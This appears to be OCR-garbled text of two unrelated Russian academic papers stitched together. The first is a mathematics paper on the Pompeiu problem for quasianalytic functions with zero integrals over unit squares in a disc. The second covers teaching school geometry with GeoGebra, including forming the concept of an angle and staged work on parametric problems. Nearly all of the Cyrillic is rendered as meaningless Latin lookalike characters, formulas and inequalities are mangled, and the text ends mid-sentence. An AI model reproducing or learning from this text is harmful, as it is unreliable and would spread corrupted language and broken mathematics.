CYMMHPYEMBbIX (YHKLIUNA. ABTOpPOM ObUIO MOJIYYEHO pelIeHue Mogo0HOoN 3a1a4n i Ki1acca
(GyHKIMH, KOTOpBIE TOMOIHUTEIBHO YOBIETBOPSIIOT YCIOBUIO KBa3MAHATUTUUHOCTH (CM. [7,
8]). D10 nano OCHOBY Al BO3HMKHOBEHHS BOIIPOCOB, CBS3aHHBIX C IOBEJIEHUEM TaKHUX
¢GbyHKIUI B OTKpBITOM Kpyre. Llens naHHON paboThl OKa3aTh, YTO JOMOJIHUTEIBHOE YCIOBUE
KBa3MAHAIUTUYHOCTU SIBISIETCS TOYHBIM M B pelieHuu npobsiemsl [Tommeiito ans gaHHOTO
KJ1acca (QyHKITH.

OcuoBHas 4acThb. ITycts 2 — eBKmuaoBa mockocTs, By ={X=(X,%,): «fxlz + X% <R}.
Jns nocnenosatenbHocTH p={My}jLo TOJIOKUTENBHBIX YHCEN 0003HAYMM HEpPE3 CH(Bg)

mHoxectBo ¢pynkiuii f € C*(Bg), Takux o,

sup 0% (x) <My
XEBR

rae 6% — omneparop 4yacTHOro AuGepeHIUpOBaHUS MOPSAKA o = (0,00), | o= 0y +aly .
Panee aBTopom ObuT moTy4deH pe3ynbTat (cM. [7, 8]), KOTOPBIA MOXKHO CPOPMYIUPOBATH
B BUJIE TEOPEMBI.

2
Teopema 1. Tlycts f eCH(BR), R>7 U UMEET HYJIEBbIE HWHTErpajbl IO BCEM

3aMKHYTBIM €IUHUYHBIM KBaJpaTOM, J€KaUM B Bg . Toraa, ecin
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0 1

it Mq%

4]

= +o0 (@)

TO f = 0 B BR .
B ciyuae, korna s nocienosarensHocT p={Mgq}; o Bbinonusercs (1), gynxuus f

Ha3bIBACTCS KBA3HAHAINTUYECKOM B Kpyre By .
Bosnukaer Bompoc Hackonbko ycinoBue (1) okoHuaTenbHOe. B nmaHHOW paboTe MbI

5
nokaxkeM uto, eciu (1) He BBIMOJIHEHO, TO TPU EX <R <7 W3 PaBEHCTBA HYIIIO WHTETPAIIOB

10 €IMHMYHBIM KBaJpaTaM He cienyeT, uto Gynkuus f € C*(Bg) paBna Hyio B By .

B pabore [9] Obina mgokasaHa JIOKalbHAs TeopeMa O [JBYX paguycax Juis
KBa3MAHAIMTUYECKUX KIJIACCOB (PYHKIIMNA, UMEIOIIUX HYJIEBbIE MHTETPAJIBI 10 BCEM 3aMKHYTHIM
mapaMm paaumyca r, jexaimuMm B By . ChopMynnpyeM COOTBETCTBYIOIIMN pE3yIbTaT B BUAE
TEOPEMBI.

Teopema 2. Ilycts E={,},R>1 >n,+K >R, f eC*(Bg) u BbINONHEHO YyCiIOBHE

|y[<r f(x+y)dy=0 mpu Bcex reE,xe Bg_r - TOrzia UMEET MECTO CIIEAYIOLIIE YTBEPKACHHS:

1) ecnut 1 /1, ¢ Ey ¥ CyLIECTBYET NOCIE0BATEIBHOCTD MOJIOKHUTEIBHBIX uncen {Mq}q o

. 2
JUTs KOTOpo# Beimosasiercs (1) u st moboro o€ Z:

sup [0%F(X)[< Mg,
xeBy

To f=0.

2) 1151 JTIFOOOM MOCIIeTI0BATEILHOCTH TOJIOKHUTEIIBHBIX YHCEeTT {Mq}aozo TaKoM, 4To

o 1

jLZlinf M%

j

< 40 2

cymectByerT Henydepas ¢ynkius f eC™(Br) ¢ ykasaHHBIME HyJIEBBIMH HHTErpalaMH, Y
KOTOpOU

sup 0% f (X) [< My

XeBy

MIpU BCEX O € ZJZr .

Jloka3aTenbCcTBO TEOPEMBI MOKHO IIOCMOTPETH B padore [9].

Yr1Bepxkaenus 1), 2) Teopemsl 2 MO3BOJISAIOT ClIeTATh BEIBOJ O XapaKTepe MaKCUMAIbHON
TJIAIKOCTH HEHYNEBbIX (YHKIUI ¢ HYJIEBBIMH WHTETpAJlaMU 1O IIapaM, Pajuychl KOTOPBIX
MIPUHAJICKAT JAHHOMY JBYX3JIEMEHTHOMY MHOKECTB

Jlokaxkem, 4TO yciioBHe (2) sIBISCTCS TOYHBIM M JIJI1 HEHYJICBBIX (DYHKIHI C HYJICBBIMH
WHTErpaJiaMU 0 €IMHUYHBIM KBaIpaTaM.

OcHoBHoOIi pe3yjbTaTr. OCHOBHBIM PE3yJbTaTOM JaHHOW paOOTHI SBISACTCS
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2
Teopema 3. Ilyctb 7<R<7 , TOorma  JUisl JIIOOOM  IOCIIeIOBATeIbHOCTH

NONOKUTENbHBIX 4ncen {Mg}q g, IS KOTOPOH BBINOJHAETCS ycnoBue (2) cyuwiecTByer

HeHyneBas pynkuus f € COO(BR) C HYJIEBBIMU MHTETPAJIaMHU 110 BCEM 3aMKHYTBIM €IUHUYHBIM
KBaJpaTam, JIeKaluM B Bg , y KOTOpOU

sup 0% (x) <My 3
XEBR

IIPH BCEX O € ZE .
Jloka3arejbCTBO.

2 5
PaCCMOTpI/IM OTKprTBIﬁ Kpyr BR C paanycom 7< R <7 " 3aMKHYTBIC CIUHUYHBIC

KBajipaThl B HEM. [Ipu ABMIKEHMH TAaKUX KBAJPAaTOB BHYTPH Kpyra MOJIy4aeM HEKOTOPYIO
00JIaCTh B LIEHTPE, KOTOPYIO TPAHUIIBI KBaJPATOB HE 3aTParuBaroT.

HetpyaHo BHIETB, YTO 00JIACTD SIBISICTCS] OTKPBITHIM KPYTrOM HEKOTOPOTo paauyca €>0.
Kak u panee, o6o3HauumM 3T0T Kpyr B.. Takum o0pa3oM, B, COAEPKHUTCS B KaxIOM
paccMarpruBacMOM 3aMKHYTOM €TMHUYHOM KBajpare.

[Ipu noka3arenbCTBE BTOPOrO YTBEPXKICHUS TeopeMbl 2 B padbote [9] Obuia mocTpoeHa
unutHas gynkuus f eC*(Bg), ynosnersopsiomas ycinosusm (2) u (3). U3 nocrpoenus

CIIEYeT, YTO Takasl (PyHKLUS MOXeT ObITh BbIOpaHa C HYJEBBIM MHTErPAJOM IO HOCHUTEIIIO.
IIpu >TOM HOCHUTENb NAHHOW (YHKIMHM MOXHO BBIOpPATh CKOJIb YTOAHO MAajoro JMaMeTrpa

(em. [9]).

BriOupas B kauectBe f (hyHKIMIO MOCTPOEHHYIO B [9] ¢ HOCHUTENEM B OTKPBITOM Kpyre
B
00pa3oM, TeopeMa NOTHOCTBIO TOKa3aHa.

., TIOJIY4UM, 4TO yKa3aHHas (QYHKIHs YIOBIETBOPSET BCEM YCIOBHAM TeopeMbl 3. Takum

BriBoabl. IlonydeHa TOYHas XapakTepHUCTHKAa MaKCHUMAJIbHOW TJIAJAKOCTH HEHYJIEBBIX
GyHKIUI ¢ HYJIEBBIMU HMHTETpajaMH MO 3aMKHYTHIM €IMHUYHBIM KBaJpaTam, JIEKaluM B
OTKpBITOM Kpyre. [lomydeHHbIe pe3yIbTaThl HOCAT TEOPETUUECKHI XapakTep. Takum o0pa3om,
paccMoTpeHa INokaibHas mpobOnema [lommeiro s MHOXECTBa 3aMKHYTBHIX €IMHHYHBIX
KBaJpaToB, COJepKamuxcs B Kpyre. PaccmoTpeHue KBa3naHaTUTHYECKUX (PYHKIUN Ha
OTKPBITOM Kpyre HaéT OCHOBY IS JaJbHEWIIEro uccienoBaHus cBorcrBa [lommeiro Ha
JIPYTUX MHOKECTBAX.
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INPUKJIAJTHBIE ACIIEKTBI METOJAUKHW OBYYEHUA TEOMETPUN
C UCIIOJb30BAHUEM MHTEPAKTUBHOM 'EOMETPUYECKOM CPEbI

Yepnuix I11.A.
Hayunwui pyxosooumens: /Kyk JI.B., kano.neo.nayk, oouyenm
DI'bOY BO «Eneykuii cocyoapcmeennsiit ynueepcumem um U.A. Bynunay

Annomayus. B 1DaHHOW cTaTbe paccMaTpUBACTCS METOAWKA IMPUMEHEHHS KOMIBIOTEPHBIX IMHAMHUYECKHUX
Mozeneif Ha ypOKax TEOMETPHH B IIKOJE, B YAaCTHOCTH, TOBOPHTCA O AHJAKTHYSCKHIX BO3MOXKHOCTSIX
HHTEPAKTHBHON TreoMeTpuueckoil cpemst GeoGebra, BBIIENSIOTCS 3Tambsl (GOPMHPOBAHHS TEOMETPHIECKUX
TEPMHUHOB Ha TpPHUMeEpe TOHATHSA «yroiD, M3IIATaloTCs STambl OOyUeHHs DPEIICHHIO 3a/Jad C MapaMeTpaMH ¢
nomompio UI'C.

Kniouesvie cnosa. KoMmmbploTepHble IHHAMUYECKHE MOJIEIH, HWHTEPAKTUBHBIE TE€OMETPHUECKHUE CPEbl,
IUIAKTHYECKHE BO3MOKHOCTH.

Berymiienne.

B Hacrosiee BpeMs B IIKOJaX U By3aX BCE yalle M Yalle OCYIIECTBIISIETCS NMEPEXO] K
IMCTAaHIIMOHHBIM (GopmaM oOydeHHs. B cBs3M ¢ 3THM BO3HHMKaeT Mpobiiema pa3paboTKu
KaueCTBEHHBIX MaTEpUajOB, KOTOPHIE MO3BOJWIM Obl ONTHMH3UPOBATH yueOHBINA MpoIliecc.
Bosaukaer  mpobnema  pa3paboTku  y4eOHO-METOJMYECKUX,  JIEMOHCTPAI[HOHHBIX,
TUIAKTUYECKUX U JPYIMX MaTepUalioB JJIs UCIOJIb30BaHUS HE TOJBKO HA ypOKax, HO U IS
(bopMHpPOBaHUS CaMOCTOSITETIPHON AesATeNbHOCTH ydammxcs. OIHAKO 3TO JAOJDKHBI OBITH HE
MPOCTO CKOMMPOBAHHBIC YUCOHUKHU U Pa3IHuHbIe MPE3CHTALMU, KOTOPbIE HECYT TOJIBKO JIUIIh
MH(OPMATUBHBIN XapakTep, JaKe €CIM OHM KAauyeCTBEHHO BBINOJIHEHBI M MPOpabOTaHbI.
VY 10BIE€TBOpEHHE BCEM BBINIEHA3BAaHHBIM KPUTEPHUSM BbI3bIBAET HEOOXOJIUMOCTh M3MEHHMTH
TPaJULIMOHHYI0 METOAMKY OOyueHHUss MHOTMX LIKOJIbHBIX npeameroB. Hambonee sipko 310
OTpPa)KEHO B U3YUYEHUH IIKOJIBHOI'O Kyca T€OMETPHUHN.

TpaguionHas MeTouka o0y4yeHusl TeOMETPUN UMEET OPUEHTALIMIO Ha pelIeHHe 3a/1ay,
KOTOpbIE CBsI3aHbl B IEPBYIO OUYEPEIb C PA3BUTHUEM JIOTUYECKUX KOMIIOHEHTOB B 00XO0]
Pa3BUTHS TBOPUECKHUX U OOpa3HBIX KOMIIOHEHTOB MbIILIeHUs. Mcnonap30BaHNEe KOMIBIOTEPHOM
MOAJEPKKH B OOYYEHMHM T€OMETPUHU TMPU3BAHO YCTPAHUTH JAHHBIA HEIOCTATOK. [ aBHBIM
CPEICTBOM TaKOW KOMIIBIOTEPHOW MOAJEPKKH CIyX aT HHTEPAKTUBHBIE T€OMETPUYECKHE
cpenst (MI'C). UT'C ynoOHBI B HCTIONB30BAaHUH TEM, YTO UX CHCTEMa OMNepalliii HIEHTUYHA C
orepamusIMu caMoil TeOMETpUH (HapuMep, IPOBECTH MPSAMYI0, IPOXOIAIIYI0 Yepe3 JaHHYIO
Touky U T.1.). Tawke UI'C ympomiaeT HEKOTOpbIE I€OMETPHUYECKHE MOCTPOEHUS 3a CUET
WCIOJIb30BaHUS HHCTPYMEHTOB, MO3BOJISIOIINX TPOU3BOIUTE CIIOKHBIE ONepaliuy (Harmpumep,
HaxoXJAeHue cepeaunsl orpe3ka). Ho camoe BaxkHoe mpeumymiectBo MI'C — 310 co3manue
JUHAMHYECKUX YepTexel, JeNaloluX HariasgHbIM YCTOWYHMBOCTh U MU3MEHUMBOCTH CBOMCTB
reoMeTpHUECKuX (HuUryp.

ean v 3apaun.

Ieabl0 JaHHOTO TPOEKTA SBISAETCS TEOPETHYECKOEe OOOCHOBAaHME M IpPaKTUYecKas
peanuzanus 3QppexTuBHON MeToauku ucnons3oBanus UI'C B npouecce 00ydyeHus reoMeTpun
B 00111€00pa30BaTEIHLHON LIKOJIE.

B pamkax naHHOTO Hccae10BaHus ObUTH PEIIECHBI CIEAYIOUINE 3aJaUH:

1) 03HaKOMMTBHCS € TUAAKTUIECKMMH BO3MOXKHOCTSIMU MHTEPAKTUBHOM T'€OMETPUUYECKOU
cpensl GeoGebra npu o0yueHUU cTepeoOMeTpHH;

2) paccMOTpeTh BO3MOYKHOCTH JUHAMMUYECKOTO MOJEINPOBAHUS T'€OMETPUUECKUX
00BEKTOB CPeACTBAMH UHTEPAKTUBHBIX T€OMETPUUECKUX CPELl;
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3) wuccinepoBaTh cnoco0 (GOpPMUPOBAHUS T'€OMETPUUECKUX IOHATHH Ha OCHOBE
JMHAMHYECKOI0 MOJICIIMPOBAHUS;

4) pa3oOpaTh HIpUMEpbl pEIIEHUS TE€OMETPUUYECKUX 3aJady ¢ [apaMeTpamu cC
UCIIOJIb30BAHUEM MHTEPAKTUBHOU N€OMETPUUECKON CPEBI.

OcHOBHast 4aCTh.

1. JImpakTnyeckne BO3MOKHOCTH MHTEPAKTHBHOH TIeOMeTPHYeCKOil cpeabl
GeoGebra npu 00yuyeHUH cTepeoMeTpPHH.

B mkone Ha ypokax reomerpuu B 10-11 kiaccax 4acTo HMpHUXOIUTCA H300pakaTh
IPOCTPAHCTBEHHBIE (PUTYPBI, CTPOUTH UX CEYEHUS U T.I1. YacTo mogoOHbIe 1eHCTBHUS 3aHUMAIOT
OYCHb MHOI'O BPEMEHH, U MHOTUM YYEHHMKaM CJIOXHO CIIPaBUTbCA C IOCTPOCHHUEM TaKUX
4epTekei, KOTOpble B KOHEYHOM HTOTEe JAJIEKO HE BCET/a JAl0T OOJIBIIYI0 HATJIATHOCTh U
BBICOKYIO TOUHOCTb IOCTPOEHHUSA. B CBSI3M ¢ 3TUM cTepeoMeTpus sIBJISETCS OAHUM U3 CaMbIX
CJIOKHBIX Pa3/eJI0OB MATEMATUKHU U BBI3bIBACT OOJbIINE 3aTPYJHEHUS Y IIKOJbHUKOB B CBOEM
U3YyYEHHH.

Uto0b1 pemuTh MpodiieMy HU3KOTO YPOBHS Pa3BUTHUS IPOCTPAHCTBEHHOTO MBIIIJICHHUS Y
CTApILIEKJIACCHUKOB, B LIIKOJIE MPUOETratoT K NPUHIIMUITY JOTOJIHUTEIbHOCTH. JJaHHBIA IPUHIIHIT
3aKJII0YAETCsl B OHOBPEMEHHOM IIPUMEHEHUU CUHTETUYECKOr0 U aHAJUTHUYECKOI0 Crioco00B
IPEeCTaBICHUs F€OMETPUIECKON HH(OPMAIIMK U BXOAUT B OCHOBY KOTHUTHUBHO-BU3YaJIbHOTO
10/J1X0/1a K O0yYCHUIO TEOMETPHH.

YroObl BOIUIOTUTH JAHHBIN MOJAXOJ, HA YPOKAaX HCHOJB3YIOT CUCTEMbI JMHAMHUYECKOM
reomerpun (CI" — 3T0 nporpamMMHbIe IPOAYKTHI HAYYHOTO M 00pa30BaTeIbHOr0 HA3HAUYEHNUS,
KOTOpbIE MO3BOJISIIOT CO3/1aBaTh JUHAMMUYECKHE M300pa)XKeHUs MaTEeMaTHYeCKUX OOBEKTOB U
uccienoBarh ux ceoictna). C/I" 1aroT BO3MOXKHOCTB HE TOJBKO BU3YyaJIM3UPOBATh MOJEIb, HO
Y TIPOCIIEUTH €€ NOBEICHNE B JUHAMMKE IIPU U3MEHEHUH I1apaMETPOB.

Ceiiuac B Poccum momyumna Oosnbiioe pacrnpoctpaneHue cuctema GeoGebra. Eé
OCHOBHBIMH JIOCTOMHCTBAMH CITy’KaT OOIIEA0CTYIHOCTh, MPOCTON U yIOOHBINH MHTEpdeiic u
CYIIECTBOBaHME OHJIalH-Bepcuu. OCHOBHBIMH HampaBieHusiMu mpumeneHus GeoGebra B
npoliecce 00y4eHuUs: CTEPEOMETPUH B LIKOJIE SIBJISIOTCS:

1) obecrnieueHne 3KCIEPUMEHTAIBHON COCTABIIAIOIEH MaTeMaTUYECKOW JesTeNbHOCTH
(ucrionp3oBanne GeoGebra B kauecTBe BUPTYalIbHOI JJAOOPATOPHH C IIETBI0 OCYLISCTBICHUS
MaTeMaTUYeCKUX D3KCIEPUMEHTOB IpPH IOMOIIM JWHAMUYECKUX Mojeneil). B kauectse
METOAMYECKHX MPUEMOB PaOOTHI C UCCIEI0BATEIBCKUMH MOJIENISIMU BBIJIEIIAIOT:

® MBICJICHHBIM 3KCIEPUMEHT (IKCTEpUOpHU3aLMs HATJISTHO-YYBCTBEHHBIX MJI€AIHU3aINi
CKaTHs, PACTSIKEHUS U CKOJIbKEHMUS);

® YICJICHHBIHM SKCIIEPUMEHT (€ClIM U3MEHHUTD OJIMH MapaMeTp YepTexa, TO APyrue TaKkxKe
U3MEHATCS C COXPaHEHUEM 3aJaHHbIX MEXAY HUIMH COOTHOUICHH);

® [iCClIeZIOBaHNE TEOMETPUUYECKOT0 MECTa TOUEK (HarIsJHOe N300pakeHUe TPACKTOPHH,
KOTOpasi BO3HUKAET MPU JABHKEHUH F'€OMETPHUECKOT0o 00BEKTA);

2) paccMOTpEHNE TEOMETPUUYECKUX OOBEKTOB C PAa3INYHBIX PAKypCOB;

3) pa3BUTHE HaBBIKOB MOCTPOEHUSI F€OMETPUYECKUX (UTYp (CHCTEMa HCIOJIb3YETCs B
KauecTBE BH3yaJbHOTO HWHCTPYMEHTA, 3aMEHSIOIIEr0 IMPUBBIYHBIE HaM 4YepTEKHbIE
IIPUHAJJIEKHOCTH, HO BMECTE C ATHUM AAET HEKOTOPbIE NMPEUMYILECTBA (HapUMeEp, ACIECHUE
OTpe3Ka MoIoJiaM, BIUCHIBAaHUE TPEYTOJbHUKA B OKPYKHOCTb U APYTHUE));

4) co3zmaHuMEe MHTEPAKTUBHBIX MYJIBTHUMEIUIHBIX WIIOCTpPALUKA (UCIOIb30BAaHUE
GeoGebra B kauecTBe cpezicTBa pa3pabOTKH AIIEKTPOHHBIX IUPPOBBIX pecypcos) [1].

2. @opMupOBaHHE TreOMETPHMYECKMX TNOHATHH Ha OCHOBe [MHAMHMYECKOIO
MO/1eJINPOBAHUS.

[TponaGmonaeM BO3MOXXHOCTh ucnonb3oBanuss MI'C mpu ¢GopMupoBaHMM TOHSATHS
«yrosy. JlaHHbIN npouiecc OyaeT MPOXOAUTh B HECKOJIBKO 3TAIOB.
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1. Dman axmyanuzayuu UHMYUMUBHOU MOOEU.

dopMupoBaHUE TOHATHS «yroi» 0ep&T CBOE HAa4YaIo ¢ BOBJICUCHHS YICHUKOB B paboTy
10 aKTyaJlM3alluyi JaHHBIX IpeAcTaBieHui. s 3Toro nonpocuTh 00y4aromuxcs, HCHoab3ys
MOCTPOCHHSI Ha PUCYHKE WK (QoTorpaduu, 1aTh pa3bsCHEHUE O TOM, YTO B MX NOHUMaHHUU
3HauuT (ppaza «bpocuts Mau oz yriiom 40°». JIJis BHITOTHEHUS TAHHOTO 3a/IaHHS YICHUKH
JOJDKHBI OyIyT MPOU3BECTH 3aMEHY O00BEKTa peasbHOU JeHCTBUTEILHOCTH, OIMPENEIIEMOTro
MOHATUEM «YTOJ», Ha €r0 BUPTYAJIbHYIO MOJEINb (T.€. TEOMETPUUYECKHI OOBEKT), NCIONb3Ys
npu dtoM Takue wuHCTpyMeHTl MI'C, kak Touka, mayd u yrou. Ilpumenenue
BBIILICIIEPEUNCIIEHHBIX HWHCTPYMEHTOB JAa€T BO3MOXHOCTb YBHUJIETh TE€HETHYECKHE CBSA3U
U3Y4aeMOT0 IIOHATHS € YK€ PACCMOTPEHHBIMU MTPEXKIE.

2. Dman nonyuenusi OUHaAMUYeCKol MoOoelu.

ITosrydeHHBII 4epTEK JUHAMUYEH 110 OTHOLICHUIO K BEJITMYMHE YIJIa O U PACIIOJIOKECHHUS
TOYEK, KOTOPbIE €ro 3aJarT. DTO CIOCOOCTBYET NMPUMEHEHMIO €ro KaK MHCTPYMEHTa IS
IIPOBEPKH BO3MOKHOCTH YHOTPEOIECHUS OHATHS «YTOJ» MO OTHOLIEHUIO K IPYTUM 00BbEKTaM
OKpYJKaromel NeHCTBUTENBHOCTH. JIIs1 TaKkoi MPOBEPKH ydYaIIUMCS CIeAyeT Noao0paTh
HECKOJIbKO M300pakeHuil 00bEKTOB OKPYXKAOIEH pealbHOCTH, K KOTOPhIM OYIET JOIyCTUMO
HCII0JIb30BAHUE MOHATHS «yTOJI», IPUUEM HUX PACIOJIOKEHUE HA MJIOCKOCTH U BEJIMYMHA YIia
JOJKHBIL OBITH pazHooOpa3Hbl. [lonb3ysAch reoMeTpuyeckoil MOJENbI0 yria, KoTopas Obuia
[I0JIy4€Ha Ha MIEPBOM 3Talle, YUEHUKH C €€ MOMOILBIO JOHKHBI HAllTH HECKOJIBKO Pa3IMYHBIX
YIJIOB Ha MpeJUIoKeHHOW uM ¢ororpaduu. Mitorom mpoaenaHHoil Ha BTOPOM 3Tare padoThl
CIIy’)KUT 3aKpeIUICHHE 3a MOHATHEM «Yroi» He Habopa TeOMeTpUYEeCKHX OOBEKTOB, a
JMHAMUYECKOTr0 00pa3a, KOTOpBIN BKJIIOYAET BECh 00BEM olpeaesisseMoro NoHATus. JlaHHbIH
JUHAMHYECKUN 00pa3 ABISAETCS AMHAMUYECKON MOJIENbI0 00JIaCTH PACIIPOCTPAHEHUSI IOHATHUS.

Taxxe Ha 3TOM 3Tane YYEHUKU IOJY4arOoT CIEAYIOIIUE CBEIEHUS O COJAEp)KaHUU
TEPMHHA: Y3HAIOT JONYCTUMYIO 0O0JacTh 3HAUYEHUs MapameTpoB (TpaaycHas Mepa yria
Bapbupyetcst oT 0° go 180°); 3HaKOMSATCA ¢ BUJAMM YIJIOB, 00pa3yeMbIX IBYMs Jy4aMu:
BHYTPEHHUM (MEHBIINM) U BHEIIHUM (OOJIBIINM); CTAJIKUBAIOTCS C YaCTHBIMHU CITy4asiMU YTJIOB
(HyJIeBBIM M pa3BEPHYTHIM); MOJIY4arOT MPEJCTaBICHUE O BUAAX YIJIOB B COOTBETCTBHM C UX
IpaJlyCHOM MEpOM: OCTPBI, IPSIMOU U TYIIOW YTJIBIL.

3. Oman noayuenus meopemuyeckol MOOeu.

Ha nanHoM sTane Hy»XHO ONpeNeuTh HEOOXOAUMBIM M JIOCTATOUHBIN COCTaB CBOMCTB
MOHATUS, YTOObI IOHUMATh KaKOi 0OBEKT MOXHO UM 0003HAUYUTh, & TAKXKe MOJIYyUUTh HOBBIE
JAHHBIE O CBOWCTBAaX M BO3MOXHOCTSIX M3y4aeMOro IIOHATHS. Bech cocTaB CBOWCTB,
M3YYEHHBIX Ha 3TOM 3Taime, SBISIETCS TEOPETHMUYECKOW MOJeNbI0 00JIACTH PaclpOCTPaHEHUS
TepMHHa. Bplieyka3anHblii Ha0Op CBOMCTB MOKHO MOJYYHMTh W3 alrOpPUTMa MOCTPOEHUS
JUHAMHYECKOTO YEpTeka, KOTOPBIH BO3MOXKHO TIOJYYUTh W3 IPOTOKOJA IOCTPOEHUS
M300paXeHUs] TeOMETpUYECKOro oO0beKkTa. JlaHHBIM MNPOTOKOI MOXKHO HCIONb30BaTh B
Ka4yecTBE BCIIOMOTaTEIbHOT0 MaTepuaia npu GopMyIMpPOBAHUN MTOHATHUS WM XK€ B MpoIecce
MMOHUMAaHHUS YK€ TOTOBBIX OIpesieleHni u3 yueOHuka. B nmocneanei cutyanun o0ydaronmmcest
MO>KHO IPEIOKUTH NMPOJENaTh CIEAYIOUIYI0 padoTy:

1) u3 onpenenenHns NOHITUS «YTOJ» BHIBECTH allrOPUTM ero noctpoenus B UI'C;

2) mpou3BECTH CpaBHEHHE BBIBEACHHOTO AJITOPUTMA C TEM, KOTOpBIH OIUCaH B
nporokoJie nocrpoenust B UI'C;

3) B cuTyauuu, KOrja aJrOpUTMbl Pa3IUYHBl HY)KHO HPOBECTH aHAIMU3 TOTO, KaKHe
W3MEHEHUs MPOU30MIYT B MapaMeTpax 4eprexa, eciu J00aBUTh WM, HA00OPOT, yOparh Te
11ary, B KOTOPBIX 3aKI0YAETCs OTINYME aITOPUTMOB JPYT OT Apyra [2].

UccnenoBanne mOpoTOKOJIAa MOCTPOCHUS MPEAOCTaBISIET BO3MOXKHOCTh — TaKxkKe
paccMOTpeTh Croco0 3afaHus TEeOMETPUYECKUX OOBEKTOB, KOTOpbIE (HDOPMUPYIOT Yrod,
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AQHAIUTUYECKU (T.e. TOYEK — HMX KOOpAWHATaMH, a Jy4ell — YpaBHEHHSIMH HPSIMBIX C
YKa3aHWEM KOOpAMHAThl HAYaJIbHON TOYKH).

[Tocnenytoiiee MONYy4YEHHE HOBBIX 3HAHMM O MOHIATHU «yroia» c¢ nomoiisio HUI'C
BO3MOXKHO OJ1arojiapsi: UCCICAOBAHUIO APYTHX BO3MOKHOCTEH TOCTPOCHHUS yIiia (MHCTPYMEHT
— Yroja 3a/JlaHHOM BEJIMYUHBI); TOJYYEHUIO BO3MOXXKHOCTH PACHIMPEHUS MOHSATUS «YTOJ»
MOCPEICTBOM YBEJIIMYECHUS JOITYCTUMON 00JIACTH ONPECNICHHSI €r0 BEIMYUHBI (HHCTPYMEHT —
nepeMenieHre); BBEJCHHEe HOBBIX MOHATHUN, OCHOBAHHBIX HAa MOHATHUHU YTJla: «yroJl HaKJIOHA
NPSMOI 110 OTHOIIEHHIO K ocH OX» (MHCTPYMEHT —HAKJIOH MPSIMOH ), «yr0JI HOBOPOTA BOKPYT
TOYKH» (MHCTPYMEHT — IIOBOPOT BOKPYT TOUKH).

3. O0y4yeHue pelIeHUI0 TeOMETPUYECKHUX 32124 € MapaMeTPaMHu ¢ UCNO0Jb30BaHUEeM
HHTEPAKTHBHOM reoMeTPU4eCKOil cpebl.

Bce BblenepeuncieHHble TUIBI 337a4 MPUMEHSIOTCA MPH OOYUYEHUH HIKOJIBHUKOB
PELICHHUIO 3a/1a4 110 TeOMETpHUH ¢ napamerpamu. [Tpu TakoM 00ydeHHH BBIAEISAIOT CIEAYIOIINE
STarbl.

Oman 1. OOyueHue TMPOBENECHUIO KOMIIBIOTEPHOIO JKCIIEPUMEHTa Ha T'OTOBOM
JTUHAMHYECKOM YepTeKe C 3aMUChI0 JaHHBIX B TOTOBBINA M1a0JIOH TaOIUIIBL.

Ipumep 1. Otpesku CD u C'D sBustorcs oTpe3kaMu KacaTeNbHBIX K OKPY)KHOCTH €
LEHTPOM B Touke A, mpoBenEHHBIX U3 Touku D. [IpoBenuTe KOMIBIOTEPHBIN SKCIIEPUMEHT Ha
JMHAMAYECKOM 4YepTexe, YTOObl yCTAaHOBUTH NpW Kakux 3HadeHUsx yrima CDC' cepenmna
orpeska AD nexuT Ha OKpY)XHOCTH, BHE Kpyra W BHYTpU ero. MToru KOMMBIOTEPHOTO
HKCIEPUMEHTa HEOOXOUMO IIPEJICTABUTh B BUJE TAOJIULIBI.

Oman 2. O0yuyeHue MIaHUPOBAHUIO KOMITBIOTEPHOT'O HKCIIEPUMEHTA.

Ipumep 2. /lan kBagpar ABCD, cropona koToporo paBHa a, ¥ OKPYKHOCTh C IICHTPOM
B Touke B pagnyca 5 cM. C mOMOIIbI0 KOMIIBIOTEPHOTO SKCIIEPUMEHTA YCTAHOBUTE, CKOJIBKO
TOUYEK MEPECEUEHUsI C OKPYKHOCTbIO MOTYT UMETh NIPsSMBIE, COJIEprKall[iie CTOPOHBI KBajpaTa
IPU Pa3IUYHBIX 3HAUEHUX a?

Ha Bropom sTame yueHukaMm JaroTcs 3ajadd, MOJOOHBIE T€M, 4TO ObUIM Ha TEPBOM.
OTnuuue COCTOMT B TOM, YTO TENEPbh YYEHUKH CAMHU CTPOST JMHAMHUYECKUH YEPTEX U
COCTaBJISIOT TaOIUILy U1 PE3yJIbTaTOB SKCIIEPUMEHTA.

Oman 3. OOyyeHHE aHATUTHUYECKOMY OOOCHOBaHMIO pPE3yJbTaTOB KOMIIBIOTEPHOTO
9KCIIEPUMEHTA.

[TprunHOIl mepexona OT BTOPOTo 3Tama K TPETbeMy sBIsETCS MpobiieMa HaXOKJICHHS
OTBETa K 33/1a4€ C HCIIOJIb30BAHHEM JIMIIb KOMIIBIOTEPHOTO pElIeHUs! (BO BTOPOM IpHUMEpe
HEJb3sl B BBICIIEH CTENEHU TOYHOCTH HAWTH OJHO M3 KOHTPOJBHBIX 3HAUYEHUI mapamerpa).
TakuM 00pa3oM, Ha TPETHEM dTale Pa3yMHO HCIOIb30BaTh 3a/1a4H, B KOTOPHIX KOMIIBIOTEPHOE
peleHre HeBO3MOKHO MPOU3BECTH 0€3 MpeIBapUTEeIbHOTO aHATUTHYECKOTO.

Oman 4. OGyueHne KOMIbIOTEPHO-aHATTUTUIECKOMY PEIICHHUIO.

ITocne TOro Kak MIKOJIBHUKM YCBOWJIM BO3MOYKHOCTH PELICHMs 3a7ad KOMIIBIOTEPHO U
AQHAIUTUYECKU MOYKHO MEPEXOAUTh K KOMOMHAIIUKM ATUX perieHui. [[i1s 3Toro ucnoiab3yroTes
3aJaud, B KOTOPBIX TNPHUMEHSIOTCS Cpa3y HECKOJIbKO MapameTpoB. UToObl OOHApYXHUTh
KOHTPOJIbHbIE 3HAYEHMS] MEXAY HUMH, YUYEHHUKaM HY>KHO Oy/leT BBECTH BCIIOMOTATENIbHBII
napametp. Ha 3ToM sTarne MOXHO TakKe MpeIoKUTh 00yJaromuMcs anredpandecKue 3a1aun
C TapaMeTpaMmH, pelIeHHe KOTOPbIX OCYIIECTBIAETCS MpPH TMOMOIIM TIe€OMETPUUECKOMN
UHTEpIpeTalny anredpandeckux COOTHOLICHUH.

BoiBoabl.

ITpumenenne pasznuunbix WI'C mo3Bossier BH3yaau3upoBaTh IPOLECC H3YUYECHMUS
T€OMETPHH B IIKOJIE, JOKA3bIBATh TEOPEMBI, BBIIBUTATh THIIOTE3bI M IPOBEPSITh UX UCTUHHOCTb,
IIPOBOAMTH KOMIIBIOTEPHBIE 3KCIEPUMEHTBl M MHOIO€ Jpyroe. J[MHaMHUYeCKHE YEepTEXkH,
